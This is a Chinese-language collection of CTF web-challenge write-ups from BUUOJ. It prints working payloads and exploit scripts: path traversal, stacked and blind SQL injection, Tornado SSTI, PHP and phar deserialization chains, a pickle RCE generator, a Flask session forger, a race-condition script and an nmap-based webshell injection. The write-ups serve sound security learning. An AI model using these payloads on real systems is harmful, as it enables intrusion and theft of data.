BuuOJ刷题记录

感谢 glzjin 师傅

[HCTF 2018]WarmUp

这是 CISCN2019 华南赛区半决赛的题目…当时没做出来

太菜了

题目源自 CVE-2018-12613

源码如下

<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

这里可以看到, 有is_string的判断, 数组绕过是不可行的, 只能绕过checkFile, 而checkFile里面有二次urldecode, 这给我们提供了机会, 如果我传一个

?file=source.php%253f

其中%253f?的二次编码, 这样既可绕过前面的检测, 那么接下来就是使用目录穿越了

先访问hint.php, 可以看到

flag not here, and flag in ffffllllaaaagggg

这里有个知识点是, 当二重编码时, 这里的source.php相当于一个目录, 也就是说我们位于

location: /var/www/html/source.php/
flag: /ffffllllaaaagggg

所以 4 次目录穿越, payload 如下

?file=source.php%253f/../../../../ffffllllaaaagggg

或者不用判断多少直接多来几个/../也可以

最终 payload

?file=source.php%253f/../../../../ffffllllaaaagggg

[强网杯 2019]随便注

解题一

fuzz 之后发现过滤了select

上网找找有没有能绕过 select 的方法, 查到了堆叠过滤, 简单测一下, 我们先输入一个复合语句

1';show tables;

可以看到输出正常, 说明后端的实现应该是

mysqli_multi_query($sql);

而平时的实现是mysql_query这样的语句可以支持多条 sql 语句同时执行, 那要绕过 select 的过滤的话可以使用

set @t=0x68616861686168;prepare x from @t;execute x;

预编译语句来执行, 其中@t 的部分是执行语句的 hex 编码, 例如我们要执行

select * from `1919810931114514`;

hex 编码后替换上面的aaaaa即可

解题二

这里其实已经有了一个select, 那我们如果利用这个来查询的话就可以直接查询 flag 了

先查看一下两个表的结构, 表名我们前面已经查出来了

1';show columns from words;

有两个列, 一个是 id 另一个是 data, 明显 id 就是查询的索引, 所以先重命名两个表

RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

可以给表增加一个 id 列或者直接将 flag 列改成 id 列, 然后万能密码

1' or 1=1#

查出 flag

GetFlag

最终 payload 如下

1';Set @t=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;Prepare x from @t; Execute x;

[强网杯 2019]高明的黑客

强网杯的题目, 拉下来有 3001 个混淆过的 php, 随便打开后可以看到有输出

回来看一下源码, 可以看到有许多 get 或者 post 的参数, 并且有eval, system, assert等系统函数, 但是大部分都赋值或者无法使用

当时比赛的时候还傻乎乎的用 phpstorm 去一行行跟过, 这题主要考察的是 fuzz 的想法, 通过对这些文件进行 fuzz 来查找可以使用的参数, 首先需要启动 php 服务, 在 win 下我们使用 phpstudy 直接开就可以了, linux 下直接

php -S 0:8080

即可访问, 然后是通过正则去匹配传入的参数名

(?<=_GET\[\').*(?=\'\]) # POST同理

这里不能写成

(?<=_(GET|POST)\[\').*(?=\'\])

否则会报错

查找一下, 网上的说法是

Python lookbehinds really need to be fixed-width

也就是不能存在不确定宽度的内容, 所以我们需要将 post 和 get 分开, 这里有个技巧就是先收集所有的 post 和 get 参数同时发送, 如果在内容中检查到我们需要的信息, 再对当前文件的参数进行逐个 fuzz, 这样可以节约很多 http 的开销, 单线程脚本如下

import requests
import os
import re
from arrow import now

url = "http://localhost/src/"
work_dir = "C:\phpStudy\PHPTutorial\WWW\src\\"
filename = os.listdir(work_dir)
patternGet = re.compile("(?<=_GET\[\').*(?=\'\])")
patternPOST = re.compile("(?<=_POST\[\').*(?=\'\])")
print("[*] start fuzzing....")
print(now().format())
for i in filename:
try:
content = open(work_dir + i, "r", encoding="utf-8").read()
param1 = patternGet.findall(content)
paramGet = {}
for j in list(set(param1)):
paramGet[j] = "echo(cjm00n);"
param2 = patternPOST.findall(content)
paramPOST = {}
for j in list(set(param2)):
paramPOST[j] = "echo(cjm00n);"
# print("[.] %s" % (i))
res = requests.post(url + i, params=paramGet, data=paramPOST).text
if "cjm00n" in res:
print("[*] find at %s" % (i))
for j in param1:
res = requests.get(url + i, params={j:paramGet[j]}).text
if "cjm00n" in res:
print("[*] find %s at %s" %(j, i))
print("[*] time: %s" %(now().format()))
exit(0)
for j in param2:
res = requests.post(url + i, data={j:paramPOST[j]}).text
if "cjm00n" in res:
print("[*] find %s at %s" %(j, i))
print("[*] time: %s" %(now().format()))
exit(0)

except Exception as e:
print(e)

print("[*] done")

多线程脚本如下

import os
import re
import requests
from arrow import now
from multiprocessing.pool import ThreadPool
url = "http://localhost/src/"
work_dir = "C:\phpStudy\PHPTutorial\WWW\src\\"
patternGet = re.compile("(?<=_GET\[\').*(?=\'\])")
patternPOST = re.compile("(?<=_POST\[\').*(?=\'\])")
def fuzz(i):
try:
content = open(work_dir + i, "r", encoding="utf-8").read()
param1 = patternGet.findall(content)
paramGet = {}
for j in list(set(param1)):
paramGet[j] = "echo(cjm00n);"
param2 = patternPOST.findall(content)
paramPOST = {}
for j in list(set(param2)):
paramPOST[j] = "echo(cjm00n);"
# print("[.] %s" % (i))
res = requests.post(url + i, params=paramGet, data=paramPOST).text
if "cjm00n" in res:
print("[*] find at %s" % (i))
for j in param1:
res = requests.get(url + i, params={j:paramGet[j]}).text
if "cjm00n" in res:
print("[*] find %s at %s" %(j, i))
print("[*] time: %s" %(now().format()))
exit(0)
for j in param2:
res = requests.post(url + i, data={j:paramPOST[j]}).text
if "cjm00n" in res:
print("[*] find %s at %s" %(j, i))
print("[*] time: %s" %(now().format()))
exit(0)

except Exception as e:
print(e)
if __name__ == "__main__":
filename = os.listdir(work_dir)
print("[*] start fuzzing....")
print(now().format())
pool = ThreadPool(20)
for i in filename:
pool.apply_async(fuzz, (i, ))
pool.close()
pool.join()

[护网杯 2018]easy_tornado

打开后可以看到有 3 个文件, 整理一下文件的信息如下

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

同时可以观察到 url

http://8054a022-951c-4d19-bc64-c61811d345b4.node3.buuoj.cn/file?filename=/hints.txt&filehash=3a8e112bdc5efa665da8d5d7df15d1e8

根据文件名和 url, 我们猜测是验证filehash后, 打开了对应的文件并将内容显示到网页中, 而filehash的计算公式中还需要一个cookie_secret, 随便改一下 filename, 有个错误页面

python 中经常出现 404 页面的 SSTI, 这里的 msg 就是可以注入的参数, 一般来说, Flask 的注入可以执行很多系统命令, 但是其他的模板如 Django 只能获取一些系统的变量等等, 在 tornado 中有个很方便的对象handler, 参考 https://www.cnblogs.com/bwangel23/p/4858870.html, 它指向了RequestHandler, 可以用来获取 Web Application 的 setting, 例如我们需要的cookie_secret一般就是在 Application 的 setting 里面, 这里使用

error?msg={{handler.settings}}

然后 md5

<?php
$filename = "/fllllllllllllag";
$cookie_secret = "a98fc479-624b-45a6-9b84-5c9b4caa2234";
echo md5($cookie_secret.md5($filename));

带上参数访问即可

[SUCTF 2019]Pythonginx

首先看到源码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

需要绕过几个检测, 然后urlopen()打开, 由于要检测 host, 所以不能直接打开文件, 这里有个知识点是如果用file://协议打开一个链接形式如下

file://hostname:port/path

file 协议会默认从本地匹配路径, 因此上面的链接相当于

file:///path

有了文件读取, 现在需要绕过这个检测, 这里参考blackhat的 payload

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

绕过的 payload 如下

http://47.111.59.243:9000/getUrl?url=file://suctf.c%E2%84%85pt/../etc/passwd

解析后相当于

http://47.111.59.243:9000/getUrl?url=file://suctf.cc/opt/../etc/passwd

成功读取, 当时比赛的时候找了很久都没有找到 flag

然后需要找到nginx的配置文件, 参考官方手册

也就是说默认的有如下几个路径

/usr/local/nginx/conf/nginx.conf
/etc/nginx/ngin.conf
/usr/local/etc/nginx/nginx.conf

分别读一下, 就能找到 flag 的位置

[安洵杯 2019]easy_serialize_php

可以看到源码

<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

再看一眼 phpinfo, 可以看到有个文件, 想办法读它

审计代码的关键点在于

extract($_POST);
...
$userinfo = unserialize($serialize_info);

一个是变量覆盖, 一个是反序列化
而代码最后是

echo file_get_contents(base64_decode($userinfo['img']));

回溯一下

$userinfo <- unserialize($serialize_info) <- $serialize_info <- filter(serialize($_SESSION))

那我们要覆盖的就是$_SESSION, 这里有个 filter, 他是在反序列化之后进行的, 而这就会出现反序列化字符串逃逸的漏洞
首先了解一下 https://xz.aliyun.com/t/6718
php 对于反序列化的处理中, 不会对内容进行检查, 他只是单纯的根据声明的数字去找内容, 正常的反序列化字符串是这样的

a:1:{s:1:"b";s:1:"c";}

如果我们把内容 c 改成这样

a:1:{s:1:"b";s:4:"c";}";}

php 也能够正常的反序列化, 因为 c 的部分声明了 4 的长度, 后面的 4 个字符都会包含在里面, 而如果出现某种情况导致 4 长度变成了 1, 那反序列化就会结束而忽略掉最后的;}, 也就是说下面这样的字符串也可以正常的反序列化

a:1:{s:1:"b";s:1:"c";}";}

而怎么造成这样的变化呢, 代码中有一个filter函数, 他会使得_SESSION数组的键值长度变短

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

如果我们让键值为imgflagflag, 就能吞掉后面 8 位的内容, 因为两个flag被替换成空了, 如果 8 个字符可以到达这个键对应的值的位置, 那我们就能够任意构造字符串了, 例如

a:1:{s:11:"imgflagflag";s:45:"";xxxxxxx;}";}

这里的串如果经过 filter 的话会变成

a:1:{s:11:"img";s:45:"";xxxxxxx;}";}

也就是说x前面的内容都被包括进前一个字符串了, 后面的内容就自由构造, 只要符合语法就可以了

附上生成的 exp

<?php
// what file you want to read
$filename = "/d0g3_fllllllag";
$a['img'] = base64_encode($filename);
$res = substr(serialize($a), 5);
$_SESSION['imgflagflag'] = '";s:1:"a";'.$res;
echo "_SESSION['imgflagflag']=".$_SESSION['imgflagflag'];

[ByteCTF 2019]Boring Code

题目代码很简洁, 先是在 index.php 里面有一句

flag in this file and code in /code

访问 code, 可以看到代码

<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

由于实在是绕不过去 baidu.com 的检测, 去买了个kapbaidu.com的域名, 花了 55 块钱, 很心痛

有了域名就很快乐, 可以直接读命令了, 然后要绕过正则, 是一个无参数 RCE 的正则, 可以参考两道之前的题目

  • codebreaking 的 phplimit
  • rctf2018 的 r-cursive

读文件的 payload 大概如下

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

但是题目把里面的大部分都过滤了, 先 fuzz 了一下可用函数

<?php
$list = get_defined_functions()['internal'];
foreach($list as $key => $code){
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
unset($list[$key]);
}
if (preg_match('/[^(a-z)]/i', $code)){
unset($list[$key]);
};
}
var_dump($list);

研究了很久之后决定用 chr() + 时间函数的组合

readfile(end(scandir(chr(microtime(chdir(next(scandir(chr(next(each(localtime())))))))))));

简单来说就是上面的变型, 其中

  • end 代替 next(array_reverse())
  • chr(microtime()) 和 chr(next(scandir(chr(next(each(localtime())))))) 都是代替 .
  • next(scandir() 代替 ..

但是这个太随缘, 爆了很久都没用, 最后队友@kk 发了个替换.的方法

next(each(localeconv()))

最终 payload 如下

readfile(end(scandir(chr(microtime(chdir(next(scandir(next(each(localeconv()))))))))));

传到服务器上爆破即可

不过在 buu 上做就心酸的多了, 赵总给了个内网的靶机, 但是xshell挂上代理连不上

proxychains也没连上

在这个师傅的博客上找到了绕过的方法 Buuoj Writeups(一)

url=compress.zlib://data:@baidu.com/baidu.com?,payload;

然后就是随缘爆破了, 这里也说一下 buu 的访问频率在每秒 50 个请求以内, 超过就会 ban ip

[上海大学生赛 2019]decade

第五届上海大学生信息安全竞赛的题目, 这题是上一题的升级版, 不在 buu 上面, 顺带分析了, 先看源码

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
else {
echo "invalid";
}
}else {
echo "invalid";
}

?>

翻出之前的 payload

readfile(end(scandir(chr(microtime(chdir(next(scandir(next(each(localeconv()))))))))));

首先还是 fuzz 一下可用的函数

<?php
$list = get_defined_functions()['internal'];
foreach($list as $key => $code){
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
unset($list[$key]);
}
if (preg_match('/[^(a-z)]/i', $code)){
unset($list[$key]);
};
}
$out = fopen("fuzz.txt", "w");
foreach($list as $key){
fwrite($out, $key."\n");
}
fclose($out);

然后查找一下read相关的函数, readgzfile这个函数可以用

其他的如gzread, bzread都因为参数问题无法调用, 但是实际上file函数也是可用的, 不过 file 函数返回的是数组, 对于echo的话, 不能处理数组, 我们有以下的方法来进行拼接

  • join
  • serialize
  • implode

接下来就是构造46或者.了, 翻一下boring_code的相关题解, 可以看到构造的方法有这么几种

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

其实大概就是数学方法和随机(玄学)方法, 找到了网上的两种做法分别是

chr(strrev(uniqid()));

http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/

chr(ord(hebrevc(crypt(phpversion()))));

  • 数学方法 (官方解法)

参考http://blog.sina.com.cn/s/blog_a661ecd501012xsr.html

chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile())))))))))));

拼接一下 payload 即可

readgzfile(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid())))))))))));
readgzfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))))))))))))))))))));

[HCTF 2018]admin

主要参考自 https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup

登录后可以看到有源码位置, 下载来看看

https://github.com/woadsl1234/hctf_flask/

下载后看路由routes.py, 这个很可疑的函数就是其中一个突破点

image-20200210204821557

解法一 unicode 欺骗

关于这个函数, 可以看 [unicode 欺骗](https://panda1g1.github.io/2018/11/15/HCTF admin/)

简而言之就是

ᴬ -> A -> a

那我们就可以利用这样的操作来登录 admin 了

  1. 注册ᴬdmin
  2. 登录``ᴬdmin, 此时变为Admin`
  3. 更改密码, 此时即为admin
  4. 用新密码登录admin即可

解法二 Session 欺骗

原因是泄露了SECRET_KEY, 那么我们就可以解开这个 session 并伪造了

使用下面这个工具即可

https://github.com/noraj/flask-session-cookie-manager

  1. 先注册我们的账号后获取 cookie

    session=.eJw9kE2LwjAYhP_KkrOHJuteCh4WosWF9y0psSG5iFtr03x0oSpdI_73VVm8zjDPMHMl28PYHi3JT-O5nZFtvyf5lbx9k5wA1xfkQIEvEyaYQK48JkGRGw_Fly8VBkwhGtcwLDAYWXmQ3aRjbUFVvZYN1dJEkHpuuJi0W2bIYELXXYDvIyYbUYYeY-3veY9u84sRe802c1BiQv75DgydkdYiWyfgdTC8u5RF9cg4kEsKTNBS6QW5zUhzHA_b049vh9cEdCKhwghqFTWre-TdBG79oaWeSrWh91qrUwhQiMzwEIyrLIrFE9fHXde-SI0yQ_vvDLvYPiQXs2wgM3I-tuPzOEIzcvsDlENuLg.XkFf9Q.RLHeiZt47umzNlKn7JODZ-bQWts

  2. 解密

    python flask_session_cookie_manager3.py decode -c '.eJxxxxxxxx' -s 'ckj123'
    Output:
    "ckj123" -t "{'_fresh': True, '_id': b'06243501373011d74546d0bd9ce79ff764cee4d180bea1dba75a6f168d40b147c068207f78f59b6ed4cd6516cbce81d04073cce8a7b305ed828db6ec1153d59f', 'csrf_token': b'6435cf1afceb480229a609e54cac9e0d4d9ef4a5', 'image': b'qfgy', 'name': 'cjm00n', 'user_id': '10'}"

  3. 然后将name改为 admin 并加密

    python flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_freshxxxxxx"
    Output:
    .eJw9kE1rAjEURf9KydqFSe1GcFGIDhbeGzLECclGdBwnn1MYlakR_3utFNeXcy733sj2OLQnS-bn4dJOyNYdyPxG3vZkToDrK3KgwJcZM4wgVwGzoMhNgOIrlAoj5piMbxgWGI2sAshu1Km2oCqnZUO1NAmknhkuRu2XU2Qwou-uwA8Js00oo8NUhwcf0G9-MKHTbDMDJUbkn-_A0BtpLbJ1Bl5Hw7trWVR_jAe5pMAELZVekPuENKfhuD1_h7Z_TUAvMipMoFZJs9oh70bw6w8t9ViqDX3UWp1jhEJMDY_R-MqiWDx1Lu269mVqlOnb_6TfpUdAdofkejIhl1M7PH8jdEruvyuNbi8.XkFg2w.fFLXcLQnZfAYUlnkHDMu79ar_w0

  4. 使用获得的值替换 cookie 即可

解法三 条件竞争

这个想法很骚气, 先看下面两处代码

首先是登录处, 将session['name']赋值为我们传的值

而更改密码处是直接使用了session['name']

我们假设有进程 A 和 B 使用了同样的 session

  • A 请求登录 admin, 那么此时session['name']admin
  • 同时 B 请求改密码, 这时改的就是admin的密码

注意在两次操作中 sessionid 是会改变的

代码实现如下(这里本地搭了一下环境没搭起来, 就不去祸害 buu 了)

import requests
import re
import threading
url = "http://269dedc4-b06b-4cdf-ad18-94952755b0b0.node3.buuoj.cn/"


def login(s, username, passwd):
data = {
"username": username,
"password": passwd,
}
return s.post(url + "login", data=data).text

def change(s, passwd):
data = {
"newpassword": passwd
}
return s.post(url + "change", data=data).text
def logout(s):
return s.get(url + "logout")

def format_flag(res):
pattern = "flag{.+}"
flag = re.findall(pattern, res)
if flag:
return flag[0]
else:
return False

def tryToChange(s):
login(s, "cjm00n", 'cjm00n')
change(s, 'cjm00n')

def tryToLogin(s):
logout(s)
login(s, 'admin', 'cjm00n')

if __name__ == "__main__":
s = requests.Session()
for i in range(1000):
print(i)
t1 = threading.Thread(target=tryToChange, args=(s,))
t2 = threading.Thread(target=tryToLogin, args=(s,))
t1.start()
t2.start()

[CISCN2019 华北赛区 Day2 Web1]Hack World

先 fuzz 一下

可以看到有布尔的结果, 那么应该是布尔盲注, 然后再看过滤的内容, 其中 482 长度的为被过滤的

这里其实不太明白为什么检测的内容这么少, 回去看源码

<?php
function safe($sql){
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}

这里用的函数是stripos, 那么就很明显了, 如果出现在第一位, 则函数结果为0, 在类型转换后就是False, 所以前期 fuzz 就不顺利了 hhh

重新 fuzz 结果

然后就构造一下盲注的 payload, 这里可以用

if(ascii(substr((select(flag)from(flag)),1,1))>1,1,0)

或者使用异或也可以

1^(ascii(substr((select(flag)from(flag)),1,1))>1)

写个脚本跑一下

import requests
from time import sleep

url = "http://1d7350ba-68f1-47e8-b269-3381908ddae5.node3.buuoj.cn/index.php"

def attack(cur, mid):
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,0)" % (cur, mid)
res = requests.post(url, data={"id":payload}).text
if "glzjin" in res:
return True
else:
return False

def main():
flag = ""
for i in range(1, 43):
end = 127
start = 1
mid = (end + start) // 2
while end > start:
if attack(i, mid):
start = mid + 1
else:
end = mid
mid = (end + start) // 2
sleep(0.3)
flag += chr(mid)
print(flag)

if __name__ == "__main__":
main()

[网鼎杯 2018]Fakebook

一开始以为是二次注入, 不过发现他点击用户名之后, 有个请求页面的功能, 同时观察到 url 有个no=1

这里一定有请求数据库, 那么先注入一下,

发现没有什么过滤, 回显在第二列,依次注入后, 发现 data 中是一个反序列化字符串

0%20union/**/select%201,(select%20group_concat(data)%20from%20users),3,4%23
Output:
O:8:"UserInfo":3:{s:4:"name";s:6:"cjm00n";s:3:"age";i:1;s:4:"blog";s:10:"cjm00n.top";}

我们再观察一下, 他有个robots.txt, 内容如下

User-agent: *
Disallow: /user.php.bak

访问后可以看到一部分源码

这里可以看到有个curl, 那么试试 file 协议

在注入中将结果更改为file:///var/www/html/flag.php

一开始没找到, 看 wp 中是在这个位置

payload 如下

0%20union/**/select%201,(select%20group_concat(data)%20from%20users),3,'O:8:"UserInfo":3:{s:4:"name";s:6:"cjm00n";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'%23

然后 base64 解开即可

[GXYCTF2019]BabySQli

直接上 payload 吧

name=1'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'%23&pw=123456

其中e10adc3949ba59abbe56e057f20f883e=MD5(123456)

[CISCN2019 华北赛区 Day1 Web1]Dropbox

首先点进去, 随便注册个账号, 发现有文件上传功能, 先上传一个试试,

看一下下载的功能

function download() {
var filename = $(this)
.parent()
.attr("filename");
var form = $('<form method="POST" target="_blank"></form>');
form.attr("action", "download.php");
var input = $(
'<input type="hidden" name="filename" value="' + filename + '"></input>'
);
$(document.body).append(form);
$(form).append(input);
form.submit();
form.remove();
}

function deletefile() {
var filename = $(this)
.parent()
.attr("filename");
var data = {
filename: filename
};
$.ajax({
url: "delete.php",
type: "POST",
data: data,
success: function(json) {
if (json["success"]) {
toast("删除成功", "info");
} else {
toast(json["error"], "danger");
}
setTimeout(function() {
location.reload();
}, 1000);
}
});
}

试试能不能任意文件下载, 证明是可以的, 不过需要用绝对路径, 默认的路径不在 html 下面

然后就是审计了, 可以看到有个神奇的close()

这个应该就是获取 flag 的地方了, 那找一下调用的部分

这里有个调用点, 结合文件上传, 应该是 phar 反序列化, 那是不是直接用

User -> __destruct() -> File -> close()

这条调用链呢, 答案是不行的, 如果这样的话是可以实现读取, 但是不能够输出, 所以需要借助第三个类

这个类有两个主要的方法

  • __call(): 用于实现函数调用, 对于自身没有的函数会调用$file->$func()
  • __destruct(): 用于输出

那么调用链就可以实现了

User -> __destruct() -> Filelist -> close()[不存在] -> __call() -> File -> close()

然后使用 phar 生成的 exp 如下

<?php

class File {
public $filename;
public function __construct($filename) {
$this->filename = $filename;
}
}
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;

public function __construct() {
$file = new File("/flag.txt");
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
$user = new User();
$user->db = new FileList();
$filename = "dropbox.phar";
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($user);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

随手写了个 py 脚本进行自动化上传

import requests
import re
import os

url = "http://dad30c9a-7a47-42a6-a844-5dd18599a35b.node3.buuoj.cn/"
session = requests.Session()


def generate():
command = "php ./exp.php"
os.system(command)


def login():
data = {
"username": "cjm00n",
"password": "cjm00n"
}
session.post(url + "login.php", data=data)


def upload():
file = open("dropbox.phar", "rb")
files = {
'file': ('dropbox.gif', file, "image/gif")
}
session.post(url + "upload.php", files=files)


def delete():
res = session.post(url + "delete.php",
data={"filename": "phar://dropbox.gif"}).text
# get flag
print(re.findall("flag{.+}", res)[0])


def main():
generate()
login()
upload()
delete()


if __name__ == "__main__":
main()

[CISCN2019 华北赛区 Day1 Web2]ikun

这题蛮有意思的

首先看一下页面

发现有个提示, 翻了几页没有看到 lv6 的, 测了一下发现页数还是挺多的, 可以到 200

写个脚本跑一下

import requests
from time import sleep

url = "http://8d13affc-8a20-4111-a664-73e47683080d.node3.buuoj.cn/shop?page="

for i in range(200):
res = requests.get(url + str(i)).text
if "lv6.png" in res:
print(i)
break
sleep(0.1)

结果在181页, 但是价格巨大, 在 post 参数中发现有pricediscount, 改一个很小(大?)的折扣

然后就可以顺利买到了, 然后提示一个新的页面b1g_m4mber

这里不是XFF那些操作, 而是通过改 jwt 参数来伪造, 有点像前面的[HCTF 2018]admin

https://jwt.io/ 查询一下当前的 jwt

但是改 jwt 前需要获取key, 使用 c-jwt-cracker 爆破一下

顺利伪造

在页面的注释找到了源码的位置

审计, 发现有个pickle反序列化

参考 https://blog.csdn.net/qq_26406447/article/details/91964502,

当序列化以及反序列化的过程中中碰到一无所知的扩展类型( python2,这里指的就是新式类)的时候,可以通过类中定义的 reduce 方法来告知如何进行序列化或者反序列化也就是说我们,只要在新式类中定义一个reduce 方法,我们就能在序列化的使用让这个类根据我们在 reduce 中指定的方式进行序列化

脚本如下

import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

先点击成为大会员的按钮

然后将抓到的 post 包的become参数改为脚本的输出就可以了

关于具体的pickle反序列化可以参考 python pickle 反序列漏洞

[BUUCTF 2018]Online Tool

主要参考 https://althims.com/2019/07/25/buu-online-tool-wp/

https://tiaonmmn.github.io/2019/09/08/BUUOJ%E5%88%B7%E9%A2%98-Web-Online-Tool/

标准的 RCE 题目, 而且可以看到两个比较特别的函数

分别查一下手册

有意思的是这个中文居然还有儿化音 hhh

那么来分析一下, 直接用 payload 来做解释

' <?php phpinfo();?> -oG shell.php

首先这个 payload 会经过escapeshellarg, 这个函数有以下三个步骤

  1. 对单引号进行转义

\' <?php phpinfo();?> -oG shell.php

  1. 将转义的单引号用单引号包裹起来

'\'' <?php phpinfo();?> -oG shell.php

  1. 将整个语句用单引号包裹起来

''\'' <?php phpinfo();?> -oG shell.php '

![](https://img.cjm00n.top/20200214000802.png)

然后经过escapeshellcmd, 这个函数的步骤如下

  1. 在以下字符前面加入转义符, 在 win 下所有这些字符以及 %! 字符都会被空格代替, 不过实测发现是被^代替

&#;`|*?~<>^()[]{}$\, \x0A, \xFF

linux

win
  1. 匹配单引号数量(包括被\转义的), 如果是奇数则转义最后一个单引号, 如果是偶数则不转义

    ''\'' <?php phpinfo();?> -oG shell.php '

    则会变成

    ''\'' <?php phpinfo();?> -oG shell.php \'

    如果是

    ''\''' <?php phpinfo();?> -oG shell.php '

    则不会转义

    当然在实际中, 语句的中间部分也会被转义, 结果如下

可以看到前面的''\\''已经闭合, 中间的部分则会写入到shell.php中, 而为了避免最后出现的单引号来影响文件名, 我们需要在 payload 的最后加一个``, 在 url 中需要写成%20, 不然会被浏览器自动忽略

最终 payload 如下

' <?php echo `cat /flag`;?> -oG shell.php
# 或者
' <?php echo `cat /flag`;?> -oG shell.php '

然后访问即可

[BJDCTF2020]Easy MD5

  • MD5($password, true)

ffifdyop
# or
129581926211651571912466741651878684928

  • ===

